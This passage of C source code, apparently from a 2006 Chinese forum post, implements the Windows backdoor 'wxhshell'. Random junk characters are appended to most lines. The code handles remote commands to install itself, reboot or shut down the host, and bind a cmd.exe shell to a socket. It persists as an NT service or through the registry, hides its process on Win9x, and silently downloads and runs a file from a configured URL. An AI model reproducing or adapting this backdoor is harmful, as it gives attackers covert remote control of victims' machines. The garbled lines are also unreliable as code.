      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kxCSs7J/  
    break; \7_y%HR  
  } rM SZ"  
  // 安装 qgB_=Q#E  
  case 'i': { )%]J>&/0J  
    if(Install()) >mkFV@`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,: ^u-b|  
    else +|f@^-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }B^tL$k  
    break; 8CE = 4  
    } 6~+e mlD  
  // 卸载 'fW-Y!k%  
  case 'r': { xx $cnG  
    if(Uninstall()) @+DX.9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &3&HY:yF  
    else VaPG-n>Vf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R-14=|7a-  
    break; r|Z{-*`  
    } #z42C?V  
  // 显示 wxhshell 所在路径 ipz5H*  
  case 'p': { r<\u6jF  
    char svExeFile[MAX_PATH]; 8EY:t zw  
    strcpy(svExeFile,"\n\r"); /@5YW"1  
      strcat(svExeFile,ExeFile); Zd&S@Z  
        send(wsh,svExeFile,strlen(svExeFile),0); @nf`Gw ;  
    break; ,,TnIouy  
    } Z:gyz$9w  
  // 重启 P2Y^d#jO  
  case 'b': { 92{\B- l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TZ`SZDc7_  
    if(Boot(REBOOT)) AwN!;t_0+N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L(\cHb9`  
    else { kVL.PY\K  
    closesocket(wsh); P;*(hY5&  
    ExitThread(0); _cwpA#x`}  
    } p[cX O=  
    break; +[P{&\d4}  
    } %)wjR/o  
  // 关机 v,t:+ !8  
  case 'd': { W!<U85-#S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ite~E5?#  
    if(Boot(SHUTDOWN)) @pxcpXCy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ K=b\xc^  
    else { 9FX-1,Jx  
    closesocket(wsh); W>LR\]Ti@  
    ExitThread(0); E'8;10s  
    } 7o4\oRGV  
    break; ;G!q Y  
    } Wjc'*QCPl  
  // 获取shell -YE^zzh  
  case 's': { s@C}P  
    CmdShell(wsh); H>C=zo,oiC  
    closesocket(wsh); qWw=8Bq  
    ExitThread(0); Uz7<PLxd  
    break;  @8 6f  
  } <}LC~B!  
  // 退出 *`U~?q}  
  case 'x': { ;nGa.= "L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q:(%*sY>  
    CloseIt(wsh); UI#h&j5pW  
    break; `2snz1>!j  
    } +qoRP2  
  // 离开 l^qI, M  
  case 'q': { *8Z32c+C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1"g<0 W  
    closesocket(wsh); "]dI1 g_  
    WSACleanup(); 7 3m1  
    exit(1); v:U-6W_)|  
    break; l ,8##7  
        } Vc2`b3"Br  
  } RpF&\x>  
  } v1[29t<I!  
G2Zer=rC  
  // 提示信息 nlYNN/@"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1qch]1 ^G  
} :>*7=q=  
  } PdCEUh\>y  
"8RSvT<W^5  
  return; 2?5>o!C  
} N0lC0 N?_J  
:0ep( <|;  
// shell模块句柄 [~^0gAlQC  
int CmdShell(SOCKET sock) [~ fraK,)  
{ g*Phv|kI  
STARTUPINFO si; +:f"Y0  
ZeroMemory(&si,sizeof(si)); @oNXZRg6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AdmC&!nH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \lY_~*J  
PROCESS_INFORMATION ProcessInfo; /mHqurB  
char cmdline[]="cmd"; 4W])}C %  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5bIw?%dk(  
  return 0; Bwrx*J  
} S3#>9k;p  
: +u]S2u{  
// 自身启动模式 z{6Z 11|  
int StartFromService(void) G)YcJv7  
{ D@KlOU{<  
typedef struct LLI.8kn7  
{ LscGTs,  
  DWORD ExitStatus; 4 :v=pZ  
  DWORD PebBaseAddress; lFk R=!?=  
  DWORD AffinityMask;  bLL2  
  DWORD BasePriority; UBs4K*h|  
  ULONG UniqueProcessId; vIvIfE  
  ULONG InheritedFromUniqueProcessId; #z(]xI)"  
}   PROCESS_BASIC_INFORMATION; Fcx&hj1gQ  
[KQi.u  
PROCNTQSIP NtQueryInformationProcess; jo7\`#(Q  
0"R|..l/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x38 QD;MT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ni<(K 0~  
<%^&2UMg  
  HANDLE             hProcess; Zfw,7am/  
  PROCESS_BASIC_INFORMATION pbi; vI?, 47Hj+  
JC"z&ka  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Pp'Ye~K@c  
  if(NULL == hInst ) return 0; N+|d3X!  
xo)P?-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h1RSVp+?n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q59suL   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jdN` mosJ  
=wJX 0A|  
  if (!NtQueryInformationProcess) return 0; Y2TtY;  
{:s f7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZcsZ$qt^  
  if(!hProcess) return 0; A,]h),b  
$qiya[&G4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x;S @bY  
:s,Z<^5a)g  
  CloseHandle(hProcess); [^)g%|W  
0K+ne0I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .}t e>]A*  
if(hProcess==NULL) return 0; |)&%A%m  
4*L_)z&4;  
HMODULE hMod; _!6jR5&r,  
char procName[255]; H}!r|nG  
unsigned long cbNeeded; #WuBL_nZ~  
txpgO1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wJ]d&::@h  
Dv"9qk  
  CloseHandle(hProcess); O^.#d  
,}PgOJZ  
if(strstr(procName,"services")) return 1; // 以服务启动 LLo;\WGZ  
7/H)Az@i45  
  return 0; // 注册表启动 0@(&eH=  
} s1rCpzK0  
_-D{-Bu#  
// 主模块 <} .$l  
int StartWxhshell(LPSTR lpCmdLine) osRy e3  
{ 6<]lW  
  SOCKET wsl; 1^}+=~  
BOOL val=TRUE; Ulyue  
  int port=0; 7r!x1  
  struct sockaddr_in door; ]'}L 1r  
53D]3  
  if(wscfg.ws_autoins) Install(); d~H`CrQE*  
 &HW9Jn  
port=atoi(lpCmdLine); tc! #wd+u  
vt8By@]:  
if(port<=0) port=wscfg.ws_port; #4PN"o@  
| (93gJ  
  WSADATA data; rH-23S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L_T5nD^D  
+rd+0 `}C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tA;}h7/Lc~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3n _htgcv  
  door.sin_family = AF_INET; <YY14p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KPF1cJ2N  
  door.sin_port = htons(port); J zl6eo[;  
]esC[r]PJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GJrG~T  
closesocket(wsl); ueudRb  
return 1; icgfB-1|i  
} p+eh%2Jm  
C]6O!Pb0  
  if(listen(wsl,2) == INVALID_SOCKET) { CTb%(<r  
closesocket(wsl); mt .sucT  
return 1; ]9CFIh  
} &Jj<h: *  
  Wxhshell(wsl); !g[Zfo2r"  
  WSACleanup(); d=(mw_-?  
7dWS  
return 0; K0~rN.C!0  
TbU#96"~.  
} V!Uc(  
F5<H m_\:  
// 以NT服务方式启动 By |4 m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2G7Wi!J  
{ aN?zmkPpov  
DWORD   status = 0; a(nlTMfu  
  DWORD   specificError = 0xfffffff; IxU/?Zm  
o&%g8=n%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?}oFg#m-<L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e ,(mR+a8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dPlV>IM$z  
  serviceStatus.dwWin32ExitCode     = 0; FrS]|=LJhX  
  serviceStatus.dwServiceSpecificExitCode = 0; @"A4$`Xi3  
  serviceStatus.dwCheckPoint       = 0; [,Gg^*umS  
  serviceStatus.dwWaitHint       = 0; ';CNGv -  
QRUz`|U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^qs $v06  
  if (hServiceStatusHandle==0) return; Z@HEj_n  
q V =!ORuj  
status = GetLastError(); vh^VxS  
  if (status!=NO_ERROR) ^#pEPVkY  
{ H_a[)DT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >MZ/|`[M  
    serviceStatus.dwCheckPoint       = 0;  B,@i  
    serviceStatus.dwWaitHint       = 0; X'ag)|5ot  
    serviceStatus.dwWin32ExitCode     = status; cuX)8+  
    serviceStatus.dwServiceSpecificExitCode = specificError; P.cyO3l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KlEpzJ98  
    return; Jy)/%p~  
  } sJZ iI}Xc  
V~GDPJ+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t@(HF-4~=  
  serviceStatus.dwCheckPoint       = 0; dysS9a,  
  serviceStatus.dwWaitHint       = 0; x}4q {P5$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _a, s )  
} I9^x,F"E]  
pa+hL,w{6  
// 处理NT服务事件,比如:启动、停止 F9^S"qv$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LVy yO3e  
{ 6tZI["\   
switch(fdwControl) W9&=xs6  
{ 0GLM(JmK  
case SERVICE_CONTROL_STOP: +{]j]OP  
  serviceStatus.dwWin32ExitCode = 0; @7 }W=HB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PCA4k.,T  
  serviceStatus.dwCheckPoint   = 0; *~`(RV  
  serviceStatus.dwWaitHint     = 0; :FF=a3/"6  
  { Wwo0%<2y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vN $s|R'@  
  } sO Y:e/_F  
  return; kZ~~/?B  
case SERVICE_CONTROL_PAUSE: qq?!LEZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :RYTL'hes  
  break; sW$XH1Uf#  
case SERVICE_CONTROL_CONTINUE: )b)zm2;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !D6]JPX  
  break; okXl8&mi  
case SERVICE_CONTROL_INTERROGATE: 4i bc  
  break; 'w/hw'F6  
}; b>k y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XW9!p.*.U  
} `oJ [u:b  
[QTV9  
// 标准应用程序主函数 *hrd5na  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =Qq+4F)MD  
{ ESs\O?nO  
*:1ey{w:  
// 获取操作系统版本 ,Q B<7a+I  
OsIsNt=GetOsVer(); $>gFf}#C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )jj0^f1!j  
J4utIGF  
  // 从命令行安装 0x7'^Z>-oe  
  if(strpbrk(lpCmdLine,"iI")) Install(); X]=t>   
C~[,z.FvO  
  // 下载执行文件 t) +310w  
if(wscfg.ws_downexe) { NI5``BwpO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )[  ,A_3E  
  WinExec(wscfg.ws_filenam,SW_HIDE); neh(<>  
} tkhCw/  
o  K@"f9  
if(!OsIsNt) { l0] EX>"E  
// 如果时win9x,隐藏进程并且设置为注册表启动 iE{&*.q_}>  
HideProc(); _wcNgFx  
StartWxhshell(lpCmdLine); hph4`{T  
} A >$I -T+  
else *=n:-  
  if(StartFromService()) t5zKW _J7  
  // 以服务方式启动 5;S.H#YOpO  
  StartServiceCtrlDispatcher(DispatchTable); [Q =N n  
else HDKbF/  
  // 普通方式启动 &zs$x?/  
  StartWxhshell(lpCmdLine); DMS! a$4  
y]im Z4{/  
return 0; -&;TA0~;  
}
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只看该作者 1 发表于: 2006-10-10
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